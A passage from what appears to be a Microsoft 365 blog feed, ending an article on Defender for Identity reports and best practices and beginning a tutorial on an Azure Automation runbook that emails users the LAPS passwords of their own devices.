<h3 id="reports" tabindex="-1">Reports <a class="header-anchor" href="#reports" aria-label="Permalink to &quot;Reports&quot;">&ZeroWidthSpace;</a></h3>
<p>Instead of advanced hunting you can also utilize a few prepared Reports.</p>
<p>When opening the <strong>Defender portal</strong> you will find the <strong>Reports</strong> page directly on the left side.
In here you got an <a href="https://security.microsoft.com/security-reports?viewid=identities" target="_blank" rel="noreferrer">Identities</a> section with a few reports.</p>
<img src="\security\identity\Reports.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<table>
<thead>
<tr>
<th>Report</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Summary</td>
<td>A summary of alerts and health issues</td>
</tr>
<tr>
<td>Modifications to sensitive groups</td>
<td>Every modification to sensitive groups in Active Directory, including modifications with generated alerts</td>
</tr>
<tr>
<td>Password exposed in clear text</td>
<td>All LDAP authentications which exposed user password in clear text</td>
</tr>
<tr>
<td>Lateral movement paths to sensitive accounts</td>
<td>Sensitive accounts at risk of being compromised through Lateral movement techniques</td>
</tr>
</tbody>
</table>
<p>Sample Report:
<img src="\security\identity\Reports-Summary1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<img src="\security\identity\Reports-Summary2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></p>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>To wrap things up, <strong>Microsoft Defender for Identity</strong> is another importand part of the Microsoft security stack.
As part of the <strong>Microsoft Defender XDR</strong> ecosystem, it provides deep visibility into what’s happening with your identities and help you get the difficult edges between on-premises and cloud environments secured.</p>
<p>We’ve covered what Defender for Identity is, how it works, how to deploy it, how to configure it to align with best practices and how to use it.</p>
<p>Microsoft also provides a Checklist, with the most important things to keep a look out for:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Recommendation</th>
<th style="text-align:left">Description</th>
<th style="text-align:left">MS Learn</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Deploy MDI on all domain controllers</td>
<td style="text-align:left">Install on all DCs ensures that you're getting all signals for threat detection.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/deploy-defender-identity" target="_blank" rel="noreferrer">Microsoft Defender for Identity deployment overview</a></td>
</tr>
<tr>
<td style="text-align:left">Deploy MDI on all<br>AD FS, AD CS, and Entra Connect servers</td>
<td style="text-align:left">Install on all mentioned server types ensures that you're getting all signals for threat detection.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/active-directory-federation-services" target="_blank" rel="noreferrer">Configure sensors for AD FS, AD CS, and Microsoft Entra Connect</a></td>
</tr>
<tr>
<td style="text-align:left">Check the health of your MDI sensors</td>
<td style="text-align:left">keep your sensor healthy and reporting to ensure optimal coverage.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/health-alerts" target="_blank" rel="noreferrer">Microsoft Defender for Identity health issues</a></td>
</tr>
<tr>
<td style="text-align:left">Consider integrating with Microsoft XDR</td>
<td style="text-align:left">MDI was not integrated into the unified defender portal in the past, but is now by default if you start now.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-xdr/microsoft-365-defender-train-security-staff" target="_blank" rel="noreferrer">Microsoft Defender</a></td>
</tr>
<tr>
<td style="text-align:left">Check Windows event collection config</td>
<td style="text-align:left">Event collection is essential for MDI to analyze and detect threats effectively.</td>
<td style="text-align:left"><ul><li><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/configure-windows-event-collection" target="_blank" rel="noreferrer">Configure Windows event collection for domain controllers</a></li><li><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/configure-windows-event-collection#configure-auditing-on-ad-cs" target="_blank" rel="noreferrer">Configure Windows event collection for AD CS</a></li><li><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/configure-windows-event-collection#configure-auditing-on-ad-fs" target="_blank" rel="noreferrer">Configure Windows event collection for AD FS</a></li><li><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/configure-windows-event-collection#configure-auditing-on-microsoft-entra-connect" target="_blank" rel="noreferrer">Configure Windows event collection for Microsoft Entra Connect</a></li><li><a href="https://www.powershellgallery.com/packages/DefenderForIdentity/1.0.0.4" target="_blank" rel="noreferrer"> Use PowerShell to check your configuration</a></li></ul></td>
</tr>
<tr>
<td style="text-align:left">Check that NNR is configured</td>
<td style="text-align:left">MDI uses NNR correlation between IP-adresses and device names.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/nnr-policy" target="_blank" rel="noreferrer">Configure Network Name Resolution (NNR) for Microsoft Defender for Identity</a></td>
</tr>
<tr>
<td style="text-align:left">Check if you need a DSA</td>
<td style="text-align:left">Check if you really need a DSA, which will only be the case if you need to secure connections into other domains.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/directory-service-accounts" target="_blank" rel="noreferrer">Directory Service Accounts for Microsoft Defender for Identity</a></td>
</tr>
<tr>
<td style="text-align:left">Be aware of MDI learning periods</td>
<td style="text-align:left">Be mindful of the learning periods MDI needs to distinguish between legitimate and suspicious activities.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview" target="_blank" rel="noreferrer">Alerts overview</a></td>
</tr>
<tr>
<td style="text-align:left">Check the alert thresholds</td>
<td style="text-align:left">Keep working on your alert thresholds when you get too many false alerts.</td>
<td style="text-align:left"><a href="https://learn.microsoft.com/en-us/defender-for-identity/advanced-settings#adjust-alert-thresholds" target="_blank" rel="noreferrer">Adjust alert threshold settings or enable recommended test mode</a></td>
</tr>
<tr>
<td style="text-align:left">Secure Score recommendations</td>
<td style="text-align:left">Follow Secure Score recommendations.</td>
<td style="text-align:left"><a href="https://security.microsoft.com/securescore?viewid=actions" target="_blank" rel="noreferrer">Microsoft Secure Score</a></td>
</tr>
</tbody>
</table>
<p>Defender for Identity should be a no-brainer for many organizations, because it is included in the M365 E5 and EMS E5 add-on licenses and is quickly deployed and configured.
And for everyone else:<br></p>
<ul>
<ul>
<li>If you are hybrid, extending your security to the local environment is really important and not needing a separate tool should be much easier and cheaper.</li>
<li>If you are cloud-only, identity security is one of your most important security aspects, so it should be a big part of your posture management as well.</li>
</ul>
</ul>
<p>So no matter which environmental structure you run at the moment or where your identities live, as long as you are using M365 security, MDI is worth a deliberation.</p>
<p><u>References</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/" target="_blank" rel="noreferrer">Microsoft Defender for Identity documentation</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/migrate-from-ata-overview" target="_blank" rel="noreferrer">Advanced Threat Analytics (ATA) to Microsoft Defender for Identity</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/activate-sensor" target="_blank" rel="noreferrer">Activate the Defender for Identity sensor v3.x on a domain controller</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/nnr-policy" target="_blank" rel="noreferrer">Network Name Resolution (NNR) in Microsoft Defender for Identity</a></li>
<li><a href="https://learn.microsoft.com/en-gb/defender-for-identity/deploy/directory-service-accounts" target="_blank" rel="noreferrer">Directory Service Accounts for Microsoft Defender for Identity</a></li>
<li><a href="https://learn.microsoft.com/en-gb/defender-for-identity/deploy/manage-action-accounts" target="_blank" rel="noreferrer">Configure Microsoft Defender for Identity action accounts</a></li>
<li><a href="https://learn.microsoft.com/en-gb/defender-for-identity/vpn-integration" target="_blank" rel="noreferrer">Defender for Identity VPN integration</a></li>
<li><a href="https://learn.microsoft.com/en-gb/defender-for-identity/advanced-settings" target="_blank" rel="noreferrer">Adjust alert thresholds</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/manage-related-identities-accounts" target="_blank" rel="noreferrer">Manage related identities and accounts in Microsoft Defender for Identity</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/remediation-actions" target="_blank" rel="noreferrer">Remediation actions</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview" target="_blank" rel="noreferrer">Security alerts in Microsoft Defender for Identity</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/identity-security-initiative" target="_blank" rel="noreferrer">Identity Security Initiative</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-assessment" target="_blank" rel="noreferrer">Microsoft Defender for Identity's security posture assessments</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-testing-best-practices#best-practices-checklist" target="_blank" rel="noreferrer">Best practices checklist</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/troubleshooting-known-issues" target="_blank" rel="noreferrer">Troubleshooting Microsoft Defender for Identity known issues</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-Service Local Admin Password (LAPS) automation | Microsoft 365]]></title>
            <link>https://michaelsendpoint.com/m365/getLAPS.html</link>
            <guid>https://michaelsendpoint.com/m365/getLAPS.html</guid>
            <pubDate>Mon, 23 Feb 2026 21:57:47 GMT</pubDate>
            <description><![CDATA[Self-service workflow to deliver local administrator passwords to device owners using an Azure Automation runbook with a secure, auditable and least-privilege approach.]]></description>
            <content:encoded><![CDATA[<img src="\m365\laps\banner.jpeg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p><u>The Problem:</u></p>
<p>Giving workers local administrator rights on their devices is a common requirement in many organizations.
However, managing and securing these local administrator accounts can be challenging.</p>
<p>LAPS (Local Administrator Password Solution) is a tool designed for this purpose, but it is intended for administrators, not end users.
As a result, it is effectively unusable for end users.
At present, it is not possible to restrict which LAPS passwords a user with the appropriate Entra permissions can read, without creating admin units.
But this is not a viable solution in this case, as it would require creating a unit per device, which would quickly exceed Entra’s administrative unit limits.
As a result, any user who has read access can view the LAPS passwords for all devices.</p>
<p>This is <span style="color:crimson">not great</span>.
If you do not want to grant end users access to the Entra portal and allowing them to read all LAPS passwords, this is a non-starter.</p>
<p><u>My approach:</u></p>
<p>If you want to take advantage of the built-in LAPS functionality, do not want to use Endpoint Privilege Management (EPM) or do not have the required license, another approach is needed.
To address this, I cooked up an automation that allows users to request their LAPS password without accessing the Entra portal and without granting them any permissions to read LAPS passwords themselves.</p>
<p>To do that we need the following components:</p>
<ul>
<li>a custom role for accessing LAPS passwords</li>
<li>an Azure Automation Account to run custom PowerShell code</li>
<li>an enduser with an exchange mailbox</li>
</ul>
<details class="details custom-block"><summary>What is Azure Automation?</summary>
<p>Azure Automation is a cloud service that enables you to host, configure and execute automations, such as runbooks.
A Runbook is a script, hosted in Azure Automation, that executes workflows using PowerShell, Python or a graphical logic, either on demand or on a defined schedule.</p>
</details>
<h2 id="configuration" tabindex="-1">⚙️ Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:gear: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="resource-group" tabindex="-1">Resource Group <a class="header-anchor" href="#resource-group" aria-label="Permalink to &quot;Resource Group&quot;">&ZeroWidthSpace;</a></h3>
<p>To get started we first create a resource group to group our new stuff together.</p>
<ol>
<li>Open the <strong>Azure admin Portal</strong> -&gt; <a href="https:%5Cazrg.cmd.ms" target="_blank" rel="noreferrer">Resource groups</a> and click <code>+ Create</code>.</li>
<li>Enter your <strong>Name</strong> and select your <strong>Subscription</strong> and <strong>Region</strong>.</li>
<li>Then <code>Review + create</code> the group.</li>
</ol>
<img src="\m365\laps\RG.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<hr>
<h3 id="automation-account" tabindex="-1">Automation Account <a class="header-anchor" href="#automation-account" aria-label="Permalink to &quot;Automation Account&quot;">&ZeroWidthSpace;</a></h3>
<p>Next we create the Automation Account we need.</p>
<ol>
<li>Open the <strong>Azure admin Portal</strong> -&gt; <a href="https://azauto.cmd.ms" target="_blank" rel="noreferrer">Automation Accounts</a> and click <code>+ Create</code>.</li>
<li>Enter your <strong>Subscription</strong>, the <strong>Resource group</strong> we created, a <strong>name</strong> and the same <strong>Region</strong> as the <strong>Ressource Group</strong>.</li>
</ol>
<img src="\m365\laps\create_automationaccount1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>Click <code>Next</code>, make sure to select <strong>System assigned</strong> in the advanced tab under <strong>Managed Identities</strong> and click <code>Next</code> again.</li>
<li>In the <strong>Networking</strong> tab you can select how you want to connect to the automation account.
In our example <strong>Public access</strong> is ok, but you maybe want to consider a <strong>Private Endpoint</strong> depending on your Azure Network infrastructure.</li>
<li>Now you can click <code>Review + Create</code> and <code>Create</code> again.</li>
</ol>
<img src="\m365\laps\create_automationaccount2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<hr>
<h3 id="runtime-environment" tabindex="-1">Runtime Environment <a class="header-anchor" href="#runtime-environment" aria-label="Permalink to &quot;Runtime Environment&quot;">&ZeroWidthSpace;</a></h3>
<p>Now we start configuring the Automation Account by creating a Runtime Environment.</p>
<ol>
<li>For that we open the <strong>Azure admin Portal</strong> -&gt; <a href="https://azauto.cmd.ms" target="_blank" rel="noreferrer">Automation Accounts</a> again and open the previously created <strong>Automation Account</strong>.</li>
<li>Now select <strong>Process Automation</strong> -&gt; <strong>Runtime Environments</strong> and click <code>➕ Create</code>.</li>
</ol>
<img src="\m365\laps\create_runtimeenvironment1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>Enter a <strong>Name</strong> and select the following attributes:
<ul>
<li><strong>Language:</strong> PowerShell</li>
<li><strong>Runtime Version:</strong> 7.4</li>
</ul>
</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Runtime 7.2 is not good, because it has a bug in its PowerShell Graph modules.</p>
</div>
<img src="\m365\laps\create_runtimeenvironment2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="4">
<li>Click <code>Next</code> and select the following <strong>Packages</strong> with <code>➕ Add from gallery</code>:
<ul>
<li>Microsoft.Graph.Authentication</li>
<li>Microsoft.Graph.DirectoryManagement</li>
<li>Microsoft.Graph.Mail</li>
<li>Microsoft.Graph.Users</li>
</ul>
</li>
</ol>
<img src="\m365\laps\create_runtimeenvironment3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="650" loading="lazy"/>
<ol start="5">
<li>Now Click <code>Next</code> and <code>Create</code> and wait for the <strong>Runtime Environment</strong> to be ready.</li>
</ol>
<img src="\m365\laps\create_runtimeenvironment4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<img src="\m365\laps\create_runtimeenvironment4_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="650" loading="lazy"/>
<hr>
<h3 id="runbook" tabindex="-1">Runbook <a class="header-anchor" href="#runbook" aria-label="Permalink to &quot;Runbook&quot;">&ZeroWidthSpace;</a></h3>
<p>Next, we will create a runbook to add our script and run it autonomously.</p>
<ol>
<li>For that we open the <strong>Azure admin Portal</strong> -&gt; <a href="https://azauto.cmd.ms" target="_blank" rel="noreferrer">Automation Accounts</a> again and open the previously created <strong>Automation Account</strong>.</li>
<li>Now select <strong>Process Automation</strong> -&gt; <strong>Runbooks</strong> and click <code>➕ Create</code>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>There are 2 Toturial Runbooks automatically created for you and you can just delete them if you like. They will then also vanish from the Resource Group.</p>
<ul>
<li>AzureAutomationTutorialWithIdentity</li>
<li>AzureAutomationTutorialWithIdentityGraphical</li>
</ul>
<img src="\m365\laps\ToturialRunbooks.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
</div>
<ol start="3">
<li>On the <strong>Basics</strong> page select the following attributes:
<ul>
<li><strong>Runbook:</strong> Create new</li>
<li><strong>Name:</strong> Whatever you like</li>
<li><strong>Runbook type:</strong> PowerShell</li>
<li><strong>Runtime Environment:</strong> Click <code>Select from existing</code> and select the previously created runtime environment.</li>
</ul>
</li>
</ol>
<img src="\m365\laps\create_runbook1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="4">
<li>Now you can click <code>Review + Create</code> and <code>Create</code> again.</li>
<li>Next you will get dumped directly into the Editor.
Here you can paste the script below in and click <code>Save</code> and <code>Publish</code>.</li>
</ol>
<div class="language-PowerShell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">PowerShell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">&#x3C;#</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">.AUTHOR</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	Michael Frank</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">.Dates &#x26; Version</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	- Created: 22.09.2025</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	- Lastupdated: 18.01.2026</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	- Version: 1.0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">SYNOPSIS</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	Get LAPS Passwords for all devices owned by a user and send them via email.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Component</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	The following PowerShell 7.4 modules must be installed:</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Microsoft.Graph.Authentication</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Microsoft.Graph.DirectoryManagement</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Microsoft.Graph.Mail</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Microsoft.Graph.Users</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">.Graph Permissions</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Device.Read.All</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Mail.ReadWrite</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - User.Read.All</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - DeviceLocalCredential.Read.All</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    - Mail.Send</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DESCRIPTION</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	This script connects to the Microsoft Graph API using the managed identity context.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">	It retrieves all devices owned by a specified user in Entra ID and fetches their LAPS passwords.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  The passwords are sent to the user's registered email address, so they never leave the server.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  Ultimately, the sent mail is deleted, meaning the user only has to worry about the mail in their inbox and not a folder full of passwords in their sent items.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#></span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Param</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">String</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$EntraUserID</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Pass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Log in with the managed identity</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-MgGraph</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Identity </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoWelcome</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Getting the devices of the passed user</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Devices </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-MgUserOwnedDevice</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">userid $EntraUserID</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Getting the LAPS Passwords</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($Device </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $Devices) {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $device </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-mgdevice</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">deviceid $Device.id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Select-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> displayname</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $Pass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-LapsAADPassword</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DeviceIds $device.displayname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">IncludePasswords </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AsPlainText </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ErrorAction SilentlyContinue</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$user </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-mguser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">userid $EntraUserID</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Mail gets created and send</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$params </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	subject </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "LAPS"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	body </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">		contentType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "HTML"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">		content </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Pass</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	toRecipients </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">		@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">			emailAddress </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">				address </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $user.mail</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">			}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">		}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$mail </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-MgUserMessage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserId $EntraUserID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">BodyParameter $params</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Send-MgUserMessage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserId $EntraUserID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MessageId $mail.id</span></span>
